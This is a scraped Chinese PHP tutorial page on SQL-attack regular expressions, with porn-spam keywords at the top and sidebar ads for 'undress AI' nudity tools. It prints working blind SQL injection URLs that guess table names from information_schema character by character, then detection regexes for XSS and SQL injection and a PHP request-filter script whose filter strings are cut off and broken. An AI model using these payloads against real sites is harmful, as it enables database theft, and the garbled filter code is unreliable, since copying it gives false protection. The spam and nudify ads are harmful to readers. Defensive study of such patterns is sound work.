国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

Home php教程 php手冊(cè) php中常見(jiàn)的sql攻擊正則表達(dá)式匯總

php中常見(jiàn)的sql攻擊正則表達(dá)式匯總

Jun 06, 2016 pm 08:18 PM
php regular expression

這篇文章主要介紹了php中常見(jiàn)的sql攻擊正則表達(dá)式,實(shí)例匯總了針對(duì)各種常見(jiàn)的SQL語(yǔ)句及正則表達(dá)式原理的分析與應(yīng)用,對(duì)于PHP程序設(shè)計(jì)的安全來(lái)說(shuō)具有很好的參考借鑒

本文實(shí)例講述了php中常見(jiàn)的sql攻擊正則表達(dá)式。分享給大家供大家參考。具體分析如下:

我們都已經(jīng)知道,在MYSQL 5+中 information_schema庫(kù)中存儲(chǔ)了所有的 庫(kù)名,表明以及字段名信息。故攻擊方式如下:

1. 判斷第一個(gè)表名的第一個(gè)字符是否是a-z中的字符,其中blind_sqli是假設(shè)已知的庫(kù)名。
注:正則表達(dá)式中 ^[a-z] 表示字符串中開(kāi)始字符是在 a-z范圍內(nèi)

復(fù)制代碼 代碼如下:

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2. 判斷第一個(gè)字符是否是a-n中的字符

復(fù)制代碼 代碼如下:

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables? WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3. 確定該字符為n

復(fù)制代碼 代碼如下:

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables? WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4. 表達(dá)式的更換如下

復(fù)制代碼 代碼如下:

expression like this:? '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE


這時(shí)說(shuō)明表名為news ,要驗(yàn)證是否是該表明 正則表達(dá)式為'^news$',但是沒(méi)這必要 直接判斷 table_name = 'news‘ 不就行了。

5.接下來(lái)猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以對(duì)接下來(lái)的表進(jìn)行盲注了。

例如:

復(fù)制代碼 代碼如下:

$Exec_Commond? = "( \s|\S)*(exec(\s|\+)+(s|x)p\w+)(\s|\S)*";
$Simple_XSS = "( \s|\S)*((%3C)|)(\s|\S)*";
$Eval_XSS? = "( \s|\S)*((%65)|e)(\s)*((%76)|v)(\s)*((%61)|a)(\s)*((%6C)|l)(\s|\S)*";
$Image_XSS? = "( \s|\S)*((%3C)|)(\s|\S)*" ;
$Script_XSS = "( \s|\S)*((%73)|s)(\s)*((%63)|c)(\s)*((%72)|r)(\s)*((%69)|i)(\s)*((%70)|p)(\s)*((%74)|t)(\s|\S)*";
$SQL_Injection = "( \s|\S)*((%27)|(')|(%3D)|(=)|(/)|(%2F)|(")|((%22)|(-|%2D){2})|(%23)|(%3B)|(;))+(\s|\S)*";

sql攻擊代碼:

復(fù)制代碼 代碼如下:

function customError($errno, $errstr, $errfile, $errline)
{
??? echo "Error number: [$errno],error on line $errline in $errfile
";
??? die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|(and|or)\b.+?(>| $postfilter="\b(and|or)\b.{1,6}?(=|>| $cookiefilter="\b(and|or)\b.{1,6}?(=|>| function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{???
??? if(is_array($StrFiltValue))
??? {
??????? $StrFiltValue=implode($StrFiltValue);
??? }
??? if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1&&!isset($_REQUEST['securityToken']))
??? {
??????? slog("

操作IP: ".$_SERVER["REMOTE_ADDR"]."
操作時(shí)間: ".strftime("%Y-%m-%d %H:%M:%S")."
操作頁(yè)面:".$_SERVER["PHP_SELF"]."
提交方式: ".$_SERVER["REQUEST_METHOD"]."
提交參數(shù): ".$StrFiltKey."
提交數(shù)據(jù): ".$StrFiltValue);
??????? print "result notice:Illegal operation!";
??????? exit();
??? }
}
foreach($_GET as $key=>$value)
{
??? StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value)
{
??? StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value)
{
??? StopAttack($key,$value,$cookiefilter);
}
??
function slog($logs)
{
??? $toppath="log.htm";
??? $Ts=fopen($toppath,"a+");
??? fputs($Ts,$logs."rn");
??? fclose($Ts);
}
?>


sql分析:

如果使用這個(gè)函數(shù)的話,這個(gè)函數(shù)會(huì)繞開(kāi)PHP的標(biāo)準(zhǔn)出錯(cuò)處理,,所以說(shuō)得自己定義報(bào)錯(cuò)處理程序(die())。
其次,如果代碼執(zhí)行前就發(fā)生了錯(cuò)誤,那個(gè)時(shí)候用戶自定義的程序還沒(méi)有執(zhí)行,所以就不會(huì)用到用戶自己寫(xiě)的報(bào)錯(cuò)處理程序?!?/p>

那么,PHP里有一套錯(cuò)誤處理機(jī)制,可以使用set_error_handler()接管PHP錯(cuò)誤處理,也可以使用trigger_error()函數(shù)主動(dòng)拋出一個(gè)錯(cuò)誤。

set_error_handler()函數(shù)設(shè)置用戶自定義的錯(cuò)誤處理函數(shù)。函數(shù)用于創(chuàng)建運(yùn)行期間的用戶自己的錯(cuò)誤處理方法。它需要先創(chuàng)建一個(gè)錯(cuò)誤處理函數(shù),然后設(shè)置錯(cuò)誤級(jí)別?!  ?br> 關(guān)于的用法:

復(fù)制代碼 代碼如下:

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undress AI Tool

Undress AI Tool

Undress images for free

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to get the current session ID in PHP? How to get the current session ID in PHP? Jul 13, 2025 am 03:02 AM

The method to get the current session ID in PHP is to use the session_id() function, but you must call session_start() to successfully obtain it. 1. Call session_start() to start the session; 2. Use session_id() to read the session ID and output a string similar to abc123def456ghi789; 3. If the return is empty, check whether session_start() is missing, whether the user accesses for the first time, or whether the session is destroyed; 4. The session ID can be used for logging, security verification and cross-request communication, but security needs to be paid attention to. Make sure that the session is correctly enabled and the ID can be obtained successfully.

PHP get substring from a string PHP get substring from a string Jul 13, 2025 am 02:59 AM

To extract substrings from PHP strings, you can use the substr() function, which is syntax substr(string$string,int$start,?int$length=null), and if the length is not specified, it will be intercepted to the end; when processing multi-byte characters such as Chinese, you should use the mb_substr() function to avoid garbled code; if you need to intercept the string according to a specific separator, you can use exploit() or combine strpos() and substr() to implement it, such as extracting file name extensions or domain names.

How do you perform unit testing for php code? How do you perform unit testing for php code? Jul 13, 2025 am 02:54 AM

UnittestinginPHPinvolvesverifyingindividualcodeunitslikefunctionsormethodstocatchbugsearlyandensurereliablerefactoring.1)SetupPHPUnitviaComposer,createatestdirectory,andconfigureautoloadandphpunit.xml.2)Writetestcasesfollowingthearrange-act-assertpat

How to split a string into an array in PHP How to split a string into an array in PHP Jul 13, 2025 am 02:59 AM

In PHP, the most common method is to split the string into an array using the exploit() function. This function divides the string into multiple parts through the specified delimiter and returns an array. The syntax is exploit(separator, string, limit), where separator is the separator, string is the original string, and limit is an optional parameter to control the maximum number of segments. For example $str="apple,banana,orange";$arr=explode(",",$str); The result is ["apple","bana

JavaScript Data Types: Primitive vs Reference JavaScript Data Types: Primitive vs Reference Jul 13, 2025 am 02:43 AM

JavaScript data types are divided into primitive types and reference types. Primitive types include string, number, boolean, null, undefined, and symbol. The values are immutable and copies are copied when assigning values, so they do not affect each other; reference types such as objects, arrays and functions store memory addresses, and variables pointing to the same object will affect each other. Typeof and instanceof can be used to determine types, but pay attention to the historical issues of typeofnull. Understanding these two types of differences can help write more stable and reliable code.

Using std::chrono in C Using std::chrono in C Jul 15, 2025 am 01:30 AM

std::chrono is used in C to process time, including obtaining the current time, measuring execution time, operation time point and duration, and formatting analysis time. 1. Use std::chrono::system_clock::now() to obtain the current time, which can be converted into a readable string, but the system clock may not be monotonous; 2. Use std::chrono::steady_clock to measure the execution time to ensure monotony, and convert it into milliseconds, seconds and other units through duration_cast; 3. Time point (time_point) and duration (duration) can be interoperable, but attention should be paid to unit compatibility and clock epoch (epoch)

How to pass a session variable to another page in PHP? How to pass a session variable to another page in PHP? Jul 13, 2025 am 02:39 AM

In PHP, to pass a session variable to another page, the key is to start the session correctly and use the same $_SESSION key name. 1. Before using session variables for each page, it must be called session_start() and placed in the front of the script; 2. Set session variables such as $_SESSION['username']='JohnDoe' on the first page; 3. After calling session_start() on another page, access the variables through the same key name; 4. Make sure that session_start() is called on each page, avoid outputting content in advance, and check that the session storage path on the server is writable; 5. Use ses

How does PHP handle Environment Variables? How does PHP handle Environment Variables? Jul 14, 2025 am 03:01 AM

ToaccessenvironmentvariablesinPHP,usegetenv()orthe$_ENVsuperglobal.1.getenv('VAR_NAME')retrievesaspecificvariable.2.$_ENV['VAR_NAME']accessesvariablesifvariables_orderinphp.iniincludes"E".SetvariablesviaCLIwithVAR=valuephpscript.php,inApach

See all articles